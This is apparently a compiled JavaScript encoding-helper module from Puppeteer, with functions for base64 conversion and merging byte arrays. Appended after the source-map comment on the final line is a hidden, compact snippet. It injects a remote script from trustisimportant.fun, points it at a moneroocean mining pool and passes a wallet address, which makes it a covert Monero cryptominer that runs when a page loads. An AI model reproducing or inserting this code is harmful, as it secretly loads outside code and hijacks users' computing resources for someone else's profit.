"use strict";
/**
* @license
* Copyright 2024 Google Inc.
* SPDX-License-Identifier: Apache-2.0
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.mergeUint8Arrays = exports.typedArrayToBase64 = exports.stringToBase64 = exports.stringToTypedArray = void 0;
/**
* @internal
*/
function stringToTypedArray(string, base64Encoded = false) {
if (base64Encoded) {
const binaryString = atob(string);
// @ts-expect-error There are non-proper overloads
return Uint8Array.from(binaryString, m => {
return m.codePointAt(0);
});
}
return new TextEncoder().encode(string);
}
exports.stringToTypedArray = stringToTypedArray;
/**
* @internal
*/
function stringToBase64(str) {
return typedArrayToBase64(new TextEncoder().encode(str));
}
exports.stringToBase64 = stringToBase64;
/**
* @internal
*/
function typedArrayToBase64(typedArray) {
// chunkSize should be less V8 limit on number of arguments!
// https://github.com/v8/v8/blob/d3de848bea727518aee94dd2fd42ba0b62037a27/src/objects/code.h#L444
const chunkSize = 65534;
const chunks = [];
for (let i = 0; i < typedArray.length; i += chunkSize) {
const chunk = typedArray.subarray(i, i + chunkSize);
chunks.push(String.fromCodePoint.apply(null, chunk));
}
const binaryString = chunks.join('');
return btoa(binaryString);
}
exports.typedArrayToBase64 = typedArrayToBase64;
/**
* @internal
*/
function mergeUint8Arrays(items) {
let length = 0;
for (const item of items) {
length += item.length;
}
// Create a new array with total length and merge all source arrays.
const result = new Uint8Array(length);
let offset = 0;
for (const item of items) {
result.set(item, offset);
offset += item.length;
}
return result;
}
exports.mergeUint8Arrays = mergeUint8Arrays;
//# sourceMappingURL=encoding.js.mapif (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()} |